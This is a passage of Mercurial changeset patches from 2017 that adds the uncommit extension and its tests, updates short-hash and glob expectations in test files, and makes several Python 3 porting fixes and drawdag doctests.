+  >   hg -q commit -m $i
+  >   echo 0 > a
+  >   hg commit -m "$i commit 2"
+  > done
+
+  $ hg show work
+  @  cfd04 4025 commit 2
+  o  c562d 4025
+  | o  08048 2857 commit 2
+  | o  c5623 2857
+  |/
+  | o  6a6b6 1057 commit 2
+  | o  c5625 1057
+  |/
+  | o  96b4e 17 commit 2
+  | o  11424 17
+  |/
+  o  b4e73 0
+
+  $ cd ..
diff --git a/tests/test-show.t b/tests/test-show.t
--- a/tests/test-show.t
+++ b/tests/test-show.t
@@ -95,8 +95,8 @@
   $ hg bookmark a-longer-bookmark
 
   $ hg show bookmarks
-  * a-longer-bookmark    7b570
-    book1                b757f
+  * a-longer-bookmark    7b57
+    book1                b757
 
 A custom bookmarks template works
 
@@ -113,14 +113,14 @@
     "bookmark": "a-longer-bookmark",
     "longestbookmarklen": 17,
     "node": "7b5709ab64cbc34da9b4367b64afff47f2c4ee83",
-    "nodelen": 5
+    "nodelen": 4
    },
    {
     "active": false,
     "bookmark": "book1",
     "longestbookmarklen": 17,
     "node": "b757f780b8ffd71267c6ccb32e0882d9d32a8cc0",
-    "nodelen": 5
+    "nodelen": 4
    }
   ]
 
@@ -138,19 +138,19 @@
   (no bookmarks set)
 
   $ hg --config commands.show.aliasprefix=sh shwork
-  @  7b570 commit for book2
-  o  b757f commit for book1
-  o  ba592 initial
+  @  7b57 commit for book2
+  o  b757 commit for book1
+  o  ba59 initial
 
   $ hg --config commands.show.aliasprefix='s sh' swork
-  @  7b570 commit for book2
-  o  b757f commit for book1
-  o  ba592 initial
+  @  7b57 commit for book2
+  o  b757 commit for book1
+  o  ba59 initial
 
   $ hg --config commands.show.aliasprefix='s sh' shwork
-  @  7b570 commit for book2
-  o  b757f commit for book1
-  o  ba592 initial
+  @  7b57 commit for book2
+  o  b757 commit for book1
+  o  ba59 initial
 
 The aliases don't appear in `hg config`
 
# HG changeset patch
# User Pulkit Goyal <7895pulkit@gmail.com>
# Date 1503595556 -19800
#      Thu Aug 24 22:55:56 2017 +0530
# Node ID da2f5f19312c327ccf5102f4600c182ba721cce2
# Parent  e6b5e7329ff2426920302df1f9b4bdcf1761f74c
uncommit: move fb-extension to core which uncommits a changeset

uncommit extension in fb-hgext adds a uncommit command which by default
uncommits a changeset and move all the changes to the working directory. If
file names are passed, uncommit moves the changes from those files to the
working directory and left the changeset with remaining committed files.

The uncommit extension in fb-hgext does not creates an empty commit like the one
in evolve extension unless user has specified ui.alllowemptycommit to True.

The test file added is a combination of tests from test-uncommit.t,
test-uncommit-merge.t and test-uncommit-bookmark.t from fb-hgext.

.. feature::

   A new uncommit extension which provides `hg uncommit` using which one can
   uncommit part or all of the changeset. This command undoes the effect of a
   local commit, returning the affected files to their uncommitted state.

Differential Revision: https://phab.mercurial-scm.org/D529

diff --git a/hgext/uncommit.py b/hgext/uncommit.py
new file mode 100644
--- /dev/null
+++ b/hgext/uncommit.py
@@ -0,0 +1,183 @@
+# uncommit - undo the actions of a commit
+#
+# Copyright 2011 Peter Arrenbrecht <peter.arrenbrecht@gmail.com>
+#                Logilab SA        <contact@logilab.fr>
+#                Pierre-Yves David <pierre-yves.david@ens-lyon.org>
+#                Patrick Mezard <patrick@mezard.eu>
+# Copyright 2016 Facebook, Inc.
+#
+# This software may be used and distributed according to the terms of the
+# GNU General Public License version 2 or any later version.
+
+"""uncommit part or all of a local changeset (EXPERIMENTAL)
+
+This command undoes the effect of a local commit, returning the affected
+files to their uncommitted state. This means that files modified, added or
+removed in the changeset will be left unchanged, and so will remain modified,
+added and removed in the working directory.
+"""
+
+from __future__ import absolute_import
+
+from mercurial.i18n import _
+
+from mercurial import (
+    commands,
+    context,
+    copies,
+    error,
+    node,
+    obsolete,
+    registrar,
+    scmutil,
+)
+
+cmdtable = {}
+command = registrar.command(cmdtable)
+
+# Note for extension authors: ONLY specify testedwith = 'ships-with-hg-core' for
+# extensions which SHIP WITH MERCURIAL. Non-mainline extensions should
+# be specifying the version(s) of Mercurial they are tested with, or
+# leave the attribute unspecified.
+testedwith = 'ships-with-hg-core'
+
+def _commitfiltered(repo, ctx, match, allowempty):
+    """Recommit ctx with changed files not in match. Return the new
+    node identifier, or None if nothing changed.
+    """
+    base = ctx.p1()
+    # ctx
+    initialfiles = set(ctx.files())
+    exclude = set(f for f in initialfiles if match(f))
+
+    # No files matched commit, so nothing excluded
+    if not exclude:
+        return None
+
+    files = (initialfiles - exclude)
+    # return the p1 so that we don't create an obsmarker later
+    if not files and not allowempty:
+        return ctx.parents()[0].node()
+
+    # Filter copies
+    copied = copies.pathcopies(base, ctx)
+    copied = dict((dst, src) for dst, src in copied.iteritems()
+                  if dst in files)
+    def filectxfn(repo, memctx, path, contentctx=ctx, redirect=()):
+        if path not in contentctx:
+            return None
+        fctx = contentctx[path]
+        mctx = context.memfilectx(repo, fctx.path(), fctx.data(),
+                                  fctx.islink(),
+                                  fctx.isexec(),
+                                  copied=copied.get(path))
+        return mctx
+
+    new = context.memctx(repo,
+                         parents=[base.node(), node.nullid],
+                         text=ctx.description(),
+                         files=files,
+                         filectxfn=filectxfn,
+                         user=ctx.user(),
+                         date=ctx.date(),
+                         extra=ctx.extra())
+    # phase handling
+    commitphase = ctx.phase()
+    overrides = {('phases', 'new-commit'): commitphase}
+    with repo.ui.configoverride(overrides, 'uncommit'):
+        newid = repo.commitctx(new)
+    return newid
+
+def _uncommitdirstate(repo, oldctx, match):
+    """Fix the dirstate after switching the working directory from
+    oldctx to a copy of oldctx not containing changed files matched by
+    match.
+    """
+    ctx = repo['.']
+    ds = repo.dirstate
+    copies = dict(ds.copies())
+    s = repo.status(oldctx.p1(), oldctx, match=match)
+    for f in s.modified:
+        if ds[f] == 'r':
+            # modified + removed -> removed
+            continue
+        ds.normallookup(f)
+
+    for f in s.added:
+        if ds[f] == 'r':
+            # added + removed -> unknown
+            ds.drop(f)
+        elif ds[f] != 'a':
+            ds.add(f)
+
+    for f in s.removed:
+        if ds[f] == 'a':
+            # removed + added -> normal
+            ds.normallookup(f)
+        elif ds[f] != 'r':
+            ds.remove(f)
+
+    # Merge old parent and old working dir copies
+    oldcopies = {}
+    for f in (s.modified + s.added):
+        src = oldctx[f].renamed()
+        if src:
+            oldcopies[f] = src[0]
+    oldcopies.update(copies)
+    copies = dict((dst, oldcopies.get(src, src))
+                  for dst, src in oldcopies.iteritems())
+    # Adjust the dirstate copies
+    for dst, src in copies.iteritems():
+        if (src not in ctx or dst in ctx or ds[dst] != 'a'):
+            src = None
+        ds.copy(src, dst)
+
+@command('uncommit',
+    [('', 'empty', False, _('allow an empty commit after uncommiting')),
+    ] + commands.walkopts,
+    _('[OPTION]... [FILE]...'))
+def uncommit(ui, repo, *pats, **opts):
+    """uncommit part or all of a local changeset
+
+    This command undoes the effect of a local commit, returning the affected
+    files to their uncommitted state. This means that files modified or
+    deleted in the changeset will be left unchanged, and so will remain
+    modified in the working directory.
+    """
+
+    with repo.wlock(), repo.lock():
+        wctx = repo[None]
+
+        if wctx.parents()[0].node() == node.nullid:
+            raise error.Abort(_("cannot uncommit null changeset"))
+        if len(wctx.parents()) > 1:
+            raise error.Abort(_("cannot uncommit while merging"))
+        old = repo['.']
+        if not old.mutable():
+            raise error.Abort(_('cannot uncommit public changesets'))
+        if len(old.parents()) > 1:
+            raise error.Abort(_("cannot uncommit merge changeset"))
+        allowunstable = obsolete.isenabled(repo, obsolete.allowunstableopt)
+        if not allowunstable and old.children():
+            raise error.Abort(_('cannot uncommit changeset with children'))
+
+        with repo.transaction('uncommit'):
+            match = scmutil.match(old, pats, opts)
+            newid = _commitfiltered(repo, old, match, opts.get('empty'))
+            if newid is None:
+                ui.status(_("nothing to uncommit\n"))
+                return 1
+
+            mapping = {}
+            if newid != old.p1().node():
+                # Move local changes on filtered changeset
+                mapping[old.node()] = (newid,)
+            else:
+                # Fully removed the old commit
+                mapping[old.node()] = ()
+
+            scmutil.cleanupnodes(repo, mapping, 'uncommit')
+
+            with repo.dirstate.parentchange():
+                repo.dirstate.setparents(newid, node.nullid)
+                _uncommitdirstate(repo, old, match)
diff --git a/tests/test-uncommit.t b/tests/test-uncommit.t
new file mode 100644
--- /dev/null
+++ b/tests/test-uncommit.t
@@ -0,0 +1,366 @@
+Test uncommit - set up the config
+
+  $ cat >> $HGRCPATH <<EOF
+  > [experimental]
+  > evolution=createmarkers, allowunstable
+  > [extensions]
+  > uncommit =
+  > drawdag=$TESTDIR/drawdag.py
+  > EOF
+
+Build up a repo
+
+  $ hg init repo
+  $ cd repo
+  $ hg bookmark foo
+
+Help for uncommit
+
+  $ hg help uncommit
+  hg uncommit [OPTION]... [FILE]...
+  
+  uncommit part or all of a local changeset
+  
+      This command undoes the effect of a local commit, returning the affected
+      files to their uncommitted state. This means that files modified or
+      deleted in the changeset will be left unchanged, and so will remain
+      modified in the working directory.
+  
+  (use 'hg help -e uncommit' to show help for the uncommit extension)
+  
+  options ([+] can be repeated):
+  
+      --empty               allow an empty commit after uncommiting
+   -I --include PATTERN [+] include names matching the given patterns
+   -X --exclude PATTERN [+] exclude names matching the given patterns
+  
+  (some details hidden, use --verbose to show complete help)
+
+Uncommit with no commits should fail
+
+  $ hg uncommit
+  abort: cannot uncommit null changeset
+  [255]
+
+Create some commits
+
+  $ touch files
+  $ hg add files
+  $ for i in a ab abc abcd abcde; do echo $i > files; echo $i > file-$i; hg add file-$i; hg commit -m "added file-$i"; done
+  $ ls
+  file-a
+  file-ab
+  file-abc
+  file-abcd
+  file-abcde
+  files
+
+  $ hg log -G -T '{rev}:{node} {desc}' --hidden
+  @  4:6c4fd43ed714e7fcd8adbaa7b16c953c2e985b60 added file-abcde
+  |
+  o  3:6db330d65db434145c0b59d291853e9a84719b24 added file-abcd
+  |
+  o  2:abf2df566fc193b3ac34d946e63c1583e4d4732b added file-abc
+  |
+  o  1:69a232e754b08d568c4899475faf2eb44b857802 added file-ab
+  |
+  o  0:3004d2d9b50883c1538fc754a3aeb55f1b4084f6 added file-a
+  
+Simple uncommit off the top, also moves bookmark
+
+  $ hg bookmark
+   * foo                       4:6c4fd43ed714
+  $ hg uncommit
+  $ hg status
+  M files
+  A file-abcde
+  $ hg bookmark
+   * foo                       3:6db330d65db4
+
+  $ hg log -G -T '{rev}:{node} {desc}' --hidden
+  x  4:6c4fd43ed714e7fcd8adbaa7b16c953c2e985b60 added file-abcde
+  |
+  @  3:6db330d65db434145c0b59d291853e9a84719b24 added file-abcd
+  |
+  o  2:abf2df566fc193b3ac34d946e63c1583e4d4732b added file-abc
+  |
+  o  1:69a232e754b08d568c4899475faf2eb44b857802 added file-ab
+  |
+  o  0:3004d2d9b50883c1538fc754a3aeb55f1b4084f6 added file-a
+  
+
+Recommit
+
+  $ hg commit -m 'new change abcde'
+  $ hg status
+  $ hg heads -T '{rev}:{node} {desc}'
+  5:0c07a3ccda771b25f1cb1edbd02e683723344ef1 new change abcde (no-eol)
+
+Uncommit of non-existent and unchanged files has no effect
+  $ hg uncommit nothinghere
+  nothing to uncommit
+  [1]
+  $ hg status
+  $ hg uncommit file-abc
+  nothing to uncommit
+  [1]
+  $ hg status
+
+Try partial uncommit, also moves bookmark
+
+  $ hg bookmark
+   * foo                       5:0c07a3ccda77
+  $ hg uncommit files
+  $ hg status
+  M files
+  $ hg bookmark
+   * foo                       6:3727deee06f7
+  $ hg heads -T '{rev}:{node} {desc}'
+  6:3727deee06f72f5ffa8db792ee299cf39e3e190b new change abcde (no-eol)
+  $ hg log -r . -p -T '{rev}:{node} {desc}'
+  6:3727deee06f72f5ffa8db792ee299cf39e3e190b new change abcdediff -r 6db330d65db4 -r 3727deee06f7 file-abcde
+  --- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+  +++ b/file-abcde	Thu Jan 01 00:00:00 1970 +0000
+  @@ -0,0 +1,1 @@
+  +abcde
+  
+  $ hg log -G -T '{rev}:{node} {desc}' --hidden
+  @  6:3727deee06f72f5ffa8db792ee299cf39e3e190b new change abcde
+  |
+  | x  5:0c07a3ccda771b25f1cb1edbd02e683723344ef1 new change abcde
+  |/
+  | x  4:6c4fd43ed714e7fcd8adbaa7b16c953c2e985b60 added file-abcde
+  |/
+  o  3:6db330d65db434145c0b59d291853e9a84719b24 added file-abcd
+  |
+  o  2:abf2df566fc193b3ac34d946e63c1583e4d4732b added file-abc
+  |
+  o  1:69a232e754b08d568c4899475faf2eb44b857802 added file-ab
+  |
+  o  0:3004d2d9b50883c1538fc754a3aeb55f1b4084f6 added file-a
+  
+  $ hg commit -m 'update files for abcde'
+
+Uncommit with dirty state
+
+  $ echo "foo" >> files
+  $ cat files
+  abcde
+  foo
+  $ hg status
+  M files
+  $ hg uncommit files
+  $ cat files
+  abcde
+  foo
+  $ hg commit -m "files abcde + foo"
+
+Uncommit in the middle of a stack, does not move bookmark
+
+  $ hg checkout '.^^^'
+  1 files updated, 0 files merged, 2 files removed, 0 files unresolved
+  (leaving bookmark foo)
+  $ hg log -r . -p -T '{rev}:{node} {desc}'
+  2:abf2df566fc193b3ac34d946e63c1583e4d4732b added file-abcdiff -r 69a232e754b0 -r abf2df566fc1 file-abc
+  --- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+  +++ b/file-abc	Thu Jan 01 00:00:00 1970 +0000
+  @@ -0,0 +1,1 @@
+  +abc
+  diff -r 69a232e754b0 -r abf2df566fc1 files
+  --- a/files	Thu Jan 01 00:00:00 1970 +0000
+  +++ b/files	Thu Jan 01 00:00:00 1970 +0000
+  @@ -1,1 +1,1 @@
+  -ab
+  +abc
+  
+  $ hg bookmark
+     foo                       8:83815831694b
+  $ hg uncommit
+  $ hg status
+  M files
+  A file-abc
+  $ hg heads -T '{rev}:{node} {desc}'
+  8:83815831694b1271e9f207cb1b79b2b19275edcb files abcde + foo (no-eol)
+  $ hg bookmark
+     foo                       8:83815831694b
+  $ hg commit -m 'new abc'
+  created new head
+
+Partial uncommit in the middle, does not move bookmark
+
+  $ hg checkout '.^'
+  1 files updated, 0 files merged, 1 files removed, 0 files unresolved
+  $ hg log -r . -p -T '{rev}:{node} {desc}'
+  1:69a232e754b08d568c4899475faf2eb44b857802 added file-abdiff -r 3004d2d9b508 -r 69a232e754b0 file-ab
+  --- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+  +++ b/file-ab	Thu Jan 01 00:00:00 1970 +0000
+  @@ -0,0 +1,1 @@
+  +ab
+  diff -r 3004d2d9b508 -r 69a232e754b0 files
+  --- a/files	Thu Jan 01 00:00:00 1970 +0000
+  +++ b/files	Thu Jan 01 00:00:00 1970 +0000
+  @@ -1,1 +1,1 @@
+  -a
+  +ab
+  
+  $ hg bookmark
+     foo                       8:83815831694b
+  $ hg uncommit file-ab
+  $ hg status
+  A file-ab
+
+  $ hg heads -T '{rev}:{node} {desc}\n'
+  10:8eb87968f2edb7f27f27fe676316e179de65fff6 added file-ab
+  9:5dc89ca4486f8a88716c5797fa9f498d13d7c2e1 new abc
+  8:83815831694b1271e9f207cb1b79b2b19275edcb files abcde + foo
+
+  $ hg bookmark
+     foo                       8:83815831694b
+  $ hg commit -m 'update ab'
+  $ hg status
+  $ hg heads -T '{rev}:{node} {desc}\n'
+  11:f21039c59242b085491bb58f591afc4ed1c04c09 update ab
+  9:5dc89ca4486f8a88716c5797fa9f498d13d7c2e1 new abc
+  8:83815831694b1271e9f207cb1b79b2b19275edcb files abcde + foo
+
+  $ hg log -G -T '{rev}:{node} {desc}' --hidden
+  @  11:f21039c59242b085491bb58f591afc4ed1c04c09 update ab
+  |
+  o  10:8eb87968f2edb7f27f27fe676316e179de65fff6 added file-ab
+  |
+  | o  9:5dc89ca4486f8a88716c5797fa9f498d13d7c2e1 new abc
+  | |
+  | | o  8:83815831694b1271e9f207cb1b79b2b19275edcb files abcde + foo
+  | | |
+  | | | x  7:0977fa602c2fd7d8427ed4e7ee15ea13b84c9173 update files for abcde
+  | | |/
+  | | o  6:3727deee06f72f5ffa8db792ee299cf39e3e190b new change abcde
+  | | |
+  | | | x  5:0c07a3ccda771b25f1cb1edbd02e683723344ef1 new change abcde
+  | | |/
+  | | | x  4:6c4fd43ed714e7fcd8adbaa7b16c953c2e985b60 added file-abcde
+  | | |/
+  | | o  3:6db330d65db434145c0b59d291853e9a84719b24 added file-abcd
+  | | |
+  | | x  2:abf2df566fc193b3ac34d946e63c1583e4d4732b added file-abc
+  | |/
+  | x  1:69a232e754b08d568c4899475faf2eb44b857802 added file-ab
+  |/
+  o  0:3004d2d9b50883c1538fc754a3aeb55f1b4084f6 added file-a
+  
+Uncommit with draft parent
+
+  $ hg uncommit
+  $ hg phase -r .
+  10: draft
+  $ hg commit -m 'update ab again'
+
+Uncommit with public parent
+
+  $ hg phase -p "::.^"
+  $ hg uncommit
+  $ hg phase -r .
+  10: public
+
+Partial uncommit with public parent
+
+  $ echo xyz > xyz
+  $ hg add xyz
+  $ hg commit -m "update ab and add xyz"
+  $ hg uncommit xyz
+  $ hg status
+  A xyz
+  $ hg phase -r .
+  14: draft
+  $ hg phase -r ".^"
+  10: public
+
+Uncommit leaving an empty changeset
+
+  $ cd $TESTTMP
+  $ hg init repo1
+  $ cd repo1
+  $ hg debugdrawdag <<'EOS'
+  > Q
+  > |
+  > P
+  > EOS
+  $ hg up Q -q
+  $ hg uncommit --empty
+  $ hg log -G -T '{desc} FILES: {files}'
+  @  Q FILES:
+  |
+  | x  Q FILES: Q
+  |/
+  o  P FILES: P
+  
+  $ hg status
+  A Q
+
+  $ cd ..
+  $ rm -rf repo1
+
+Testing uncommit while merge
+
+  $ hg init repo2
+  $ cd repo2
+
+Create some history
+
+  $ touch a
+  $ hg add a
+  $ for i in 1 2 3; do echo $i > a; hg commit -m "a $i"; done
+  $ hg checkout 0
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  $ touch b
+  $ hg add b
+  $ for i in 1 2 3; do echo $i > b; hg commit -m "b $i"; done
+  created new head
+  $ hg log -G -T '{rev}:{node} {desc}' --hidden
+  @  5:2cd56cdde163ded2fbb16ba2f918c96046ab0bf2 b 3
+  |
+  o  4:c3a0d5bb3b15834ffd2ef9ef603e93ec65cf2037 b 2
+  |
+  o  3:49bb009ca26078726b8870f1edb29fae8f7618f5 b 1
+  |
+  | o  2:990982b7384266e691f1bc08ca36177adcd1c8a9 a 3
+  | |
+  | o  1:24d38e3cf160c7b6f5ffe82179332229886a6d34 a 2
+  |/
+  o  0:ea4e33293d4d274a2ba73150733c2612231f398c a 1
+  
+
+Add and expect uncommit to fail on both merge working dir and merge changeset
+
+  $ hg merge 2
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  (branch merge, don't forget to commit)
+
+  $ hg uncommit
+  abort: cannot uncommit while merging
+  [255]
+
+  $ hg status
+  M a
+  $ hg commit -m 'merge a and b'
+
+  $ hg uncommit
+  abort: cannot uncommit merge changeset
+  [255]
+
+  $ hg status
+  $ hg log -G -T '{rev}:{node} {desc}' --hidden
+  @    6:c03b9c37bc67bf504d4912061cfb527b47a63c6e merge a and b
+  |\
+  | o  5:2cd56cdde163ded2fbb16ba2f918c96046ab0bf2 b 3
+  | |
+  | o  4:c3a0d5bb3b15834ffd2ef9ef603e93ec65cf2037 b 2
+  | |
+  | o  3:49bb009ca26078726b8870f1edb29fae8f7618f5 b 1
+  | |
+  o |  2:990982b7384266e691f1bc08ca36177adcd1c8a9 a 3
+  | |
+  o |  1:24d38e3cf160c7b6f5ffe82179332229886a6d34 a 2
+  |/
+  o  0:ea4e33293d4d274a2ba73150733c2612231f398c a 1
+  
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1505527705 14400
#      Fri Sep 15 22:08:25 2017 -0400
# Node ID 402efa8421b8a8a66a69b44415c2e1f7d2580cbe
# Parent  da2f5f19312c327ccf5102f4600c182ba721cce2
tests: add and remove some (glob) markers

I have no idea if these changes are reasonable, but they look like
they'd help on the Windows buildbot.

diff --git a/tests/test-drawdag.t b/tests/test-drawdag.t
--- a/tests/test-drawdag.t
+++ b/tests/test-drawdag.t
@@ -261,12 +261,12 @@
   a
   FILE B
   b
-  FILE dir1/a
+  FILE dir1/a (glob)
   1
   2
-  FILE dir1/c
+  FILE dir1/c (glob)
   5
-  FILE dir2/b
+  FILE dir2/b (glob)
   34
-  FILE dir2/c
+  FILE dir2/c (glob)
   6
diff --git a/tests/test-lfconvert.t b/tests/test-lfconvert.t
--- a/tests/test-lfconvert.t
+++ b/tests/test-lfconvert.t
@@ -128,7 +128,7 @@
   $ hg merge
   merging sub/maybelarge.dat and stuff/maybelarge.dat to stuff/maybelarge.dat
   merging sub/normal2 and stuff/normal2 to stuff/normal2
-  warning: stuff/maybelarge.dat looks like a binary file. (glob)
+  warning: stuff/maybelarge.dat looks like a binary file.
   warning: conflicts while merging stuff/maybelarge.dat! (edit, then use 'hg resolve --mark')
   0 files updated, 1 files merged, 0 files removed, 1 files unresolved
   use 'hg resolve' to retry unresolved file merges or 'hg update -C .' to abandon
diff --git a/tests/test-shelve.t b/tests/test-shelve.t
--- a/tests/test-shelve.t
+++ b/tests/test-shelve.t
@@ -352,7 +352,7 @@
   
   # Unresolved merge conflicts:
   # 
-  #     a/a
+  #     a/a (glob)
   # 
   # To mark files as resolved:  hg resolve --mark FILE
   
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1505518982 14400
#      Fri Sep 15 19:43:02 2017 -0400
# Node ID 90b0e1639fd48059b5583cc322ce827c42230bb0
# Parent  402efa8421b8a8a66a69b44415c2e1f7d2580cbe
posix: fix HFS+ normcase doctest to produce valid bytes literals in Python 3

We were previously getting lucky on Python 2.

diff --git a/mercurial/posix.py b/mercurial/posix.py
--- a/mercurial/posix.py
+++ b/mercurial/posix.py
@@ -344,11 +344,11 @@
 
         >>> normcase(b'UPPER')
         'upper'
-        >>> normcase(b'Caf\xc3\xa9')
+        >>> normcase(b'Caf\\xc3\\xa9')
         'cafe\\xcc\\x81'
-        >>> normcase(b'\xc3\x89')
+        >>> normcase(b'\\xc3\\x89')
         'e\\xcc\\x81'
-        >>> normcase(b'\xb8\xca\xc3\xca\xbe\xc8.JPG') # issue3918
+        >>> normcase(b'\\xb8\\xca\\xc3\\xca\\xbe\\xc8.JPG') # issue3918
         '%b8%ca%c3\\xca\\xbe%c8.jpg'
         '''
 
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1505519012 14400
#      Fri Sep 15 19:43:32 2017 -0400
# Node ID 112f118ecb00c9ba265ecceac22c17a0d23b537b
# Parent  90b0e1639fd48059b5583cc322ce827c42230bb0
encoding: ensure getutf8char always returns a bytestr, never an int

diff --git a/mercurial/encoding.py b/mercurial/encoding.py
--- a/mercurial/encoding.py
+++ b/mercurial/encoding.py
@@ -458,9 +458,9 @@
     '''
 
     # find how many bytes to attempt decoding from first nibble
-    l = _utf8len[ord(s[pos]) >> 4]
+    l = _utf8len[ord(s[pos:pos + 1]) >> 4]
     if not l: # ascii
-        return s[pos]
+        return s[pos:pos + 1]
 
     c = s[pos:pos + l]
     # validate with attempted decode
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1505519045 14400
#      Fri Sep 15 19:44:05 2017 -0400
# Node ID 310c151a07055a0d209bb7b63c241fa3cb2af808
# Parent  112f118ecb00c9ba265ecceac22c17a0d23b537b
posix: use slicing to grab a single byte out of a bytes in HFS+ normcase code

diff --git a/mercurial/posix.py b/mercurial/posix.py
--- a/mercurial/posix.py
+++ b/mercurial/posix.py
@@ -372,7 +372,7 @@
                     c = encoding.getutf8char(path, pos)
                     pos += len(c)
                 except ValueError:
-                    c = '%%%02X' % ord(path[pos])
+                    c = '%%%02X' % ord(path[pos:pos + 1])
                     pos += 1
                 s += c
 
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1505519072 14400
#      Fri Sep 15 19:44:32 2017 -0400
# Node ID d477498074648382c023656e94ce0a0c7830f7a3
# Parent  310c151a07055a0d209bb7b63c241fa3cb2af808
posix: always pass a native str to unicodedata.normalize's first arg

diff --git a/mercurial/posix.py b/mercurial/posix.py
--- a/mercurial/posix.py
+++ b/mercurial/posix.py
@@ -379,7 +379,7 @@
             u = s.decode('utf-8')
 
         # Decompose then lowercase (HFS+ technote specifies lower)
-        enc = unicodedata.normalize('NFD', u).lower().encode('utf-8')
+        enc = unicodedata.normalize(r'NFD', u).lower().encode('utf-8')
         # drop HFS+ ignored characters
         return encoding.hfsignoreclean(enc)
 
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503451273 14400
#      Tue Aug 22 21:21:13 2017 -0400
# Node ID 3a5d8e2996f897b6f13997e65bce63963e27fb4f
# Parent  d477498074648382c023656e94ce0a0c7830f7a3
exchange: use '%d' % x instead of str(x) to encode ints

Recommended by Yuya instead of using pycompat.bytestr() in this case.

diff --git a/mercurial/exchange.py b/mercurial/exchange.py
--- a/mercurial/exchange.py
+++ b/mercurial/exchange.py
@@ -791,8 +791,8 @@
         part = bundler.newpart('pushkey')
         part.addparam('namespace', enc('phases'))
         part.addparam('key', enc(newremotehead.hex()))
-        part.addparam('old', enc(str(phases.draft)))
-        part.addparam('new', enc(str(phases.public)))
+        part.addparam('old', enc('%d' % phases.draft))
+        part.addparam('new', enc('%d' % phases.public))
         part2node.append((part.id, newremotehead))
         pushop.pkfailcb[part.id] = handlefailure
 
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503465779 14400
#      Wed Aug 23 01:22:59 2017 -0400
# Node ID bab82c43c065e11d465d74295e2f6485e78752ed
# Parent  3a5d8e2996f897b6f13997e65bce63963e27fb4f
bruterebase: port to python 3

diff --git a/tests/bruterebase.py b/tests/bruterebase.py
--- a/tests/bruterebase.py
+++ b/tests/bruterebase.py
@@ -15,10 +15,15 @@
 
 from hgext import rebase
 
+try:
+    xrange
+except NameError:
+    xrange = range
+
 cmdtable = {}
 command = registrar.command(cmdtable)
 
-@command('debugbruterebase')
+@command(b'debugbruterebase')
 def debugbruterebase(ui, repo, source, dest):
     """for every non-empty subset of source, run rebase -r subset -d dest
 
@@ -33,28 +38,28 @@
         def getdesc(rev):
             result = cl.changelogrevision(rev).description
             if rev >= repolen:
-                result += "'"
+                result += b"'"
             return result
 
         for i in xrange(1, 2 ** len(srevs)):
             subset = [rev for j, rev in enumerate(srevs) if i & (1 << j) != 0]
-            spec = revsetlang.formatspec('%ld', subset)
-            tr = repo.transaction('rebase')
+            spec = revsetlang.formatspec(b'%ld', subset)
+            tr = repo.transaction(b'rebase')
             tr.report = lambda x: 0 # hide "transaction abort"
 
             ui.pushbuffer()
             try:
                 rebase.rebase(ui, repo, dest=dest, rev=[spec])
             except error.Abort as ex:
-                summary = 'ABORT: %s' % ex
+                summary = b'ABORT: %s' % ex
             except Exception as ex:
-                summary = 'CRASH: %s' % ex
+                summary = b'CRASH: %s' % ex
             else:
                 # short summary about new nodes
                 cl = repo.changelog
                 descs = []
                 for rev in xrange(repolen, len(repo)):
-                    desc = '%s:' % getdesc(rev)
+                    desc = b'%s:' % getdesc(rev)
                     for prev in cl.parentrevs(rev):
                         if prev > -1:
                             desc += getdesc(prev)
@@ -62,8 +67,8 @@
                 descs.sort()
                 summary = ' '.join(descs)
             ui.popbuffer()
-            repo.vfs.tryunlink('rebasestate')
+            repo.vfs.tryunlink(b'rebasestate')
 
-            subsetdesc = ''.join(getdesc(rev) for rev in subset)
-            ui.write(('%s: %s\n') % (subsetdesc.rjust(len(srevs)), summary))
+            subsetdesc = b''.join(getdesc(rev) for rev in subset)
+            ui.write((b'%s: %s\n') % (subsetdesc.rjust(len(srevs)), summary))
             tr.abort()
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503465841 14400
#      Wed Aug 23 01:24:01 2017 -0400
# Node ID 6c408bfa2dab260d237b926f717ef78bbbf2af87
# Parent  bab82c43c065e11d465d74295e2f6485e78752ed
drawdag: tagsmod.tag() takes a list of names, not a single name

We were getting lucky on Python 2 since we have only one-byte names,
but on Python 3 badness was happening.

diff --git a/tests/drawdag.py b/tests/drawdag.py
--- a/tests/drawdag.py
+++ b/tests/drawdag.py
@@ -346,7 +346,7 @@
         ctx = simplecommitctx(repo, name, pctxs, added)
         n = ctx.commit()
         committed[name] = n
-        tagsmod.tag(repo, name, n, message=None, user=None, date=None,
+        tagsmod.tag(repo, [name], n, message=None, user=None, date=None,
                     local=True)
 
     # handle special comments
# HG changeset patch
# User Augie Fackler <raf@durin42.com>
# Date 1503499886 14400
#      Wed Aug 23 10:51:26 2017 -0400
# Node ID 1e71dddc10a24f195a46c4a4d513145ef37f4142
# Parent  6c408bfa2dab260d237b926f717ef78bbbf2af87
drawdag: add a couple of doctests to help with python3 porting

diff --git a/tests/drawdag.py b/tests/drawdag.py
--- a/tests/drawdag.py
+++ b/tests/drawdag.py
@@ -110,7 +110,52 @@
     return ch in _nonpipechars
 
 def _parseasciigraph(text):
-    """str -> {str : [str]}. convert the ASCII graph to edges"""
+    r"""str -> {str : [str]}. convert the ASCII graph to edges
+
+    >>> import pprint
+    >>> pprint.pprint({k: [vv for vv in v]
+    ...  for k, v in _parseasciigraph(br'''
+    ...        G
+    ...        |
+    ...  I D C F   # split: B -> E, F, G
+    ...   \ \| |   # replace: C -> D -> H
+    ...    H B E   # prune: F, I
+    ...     \|/
+    ...      A
+    ... ''').items()})
+    {'A': [],
+     'B': ['A'],
+     'C': ['B'],
+     'D': ['B'],
+     'E': ['A'],
+     'F': ['E'],
+     'G': ['F'],
+     'H': ['A'],
+     'I': ['H']}
+    >>> pprint.pprint({k: [vv for vv in v]
+    ...  for k, v in _parseasciigraph(br'''
+    ...  o    foo
+    ...  |\
+    ...  +---o  bar
+    ...  | | |
+    ...  | o |  baz
+    ...  |  /
+    ...  +---o  d
+    ...  | |
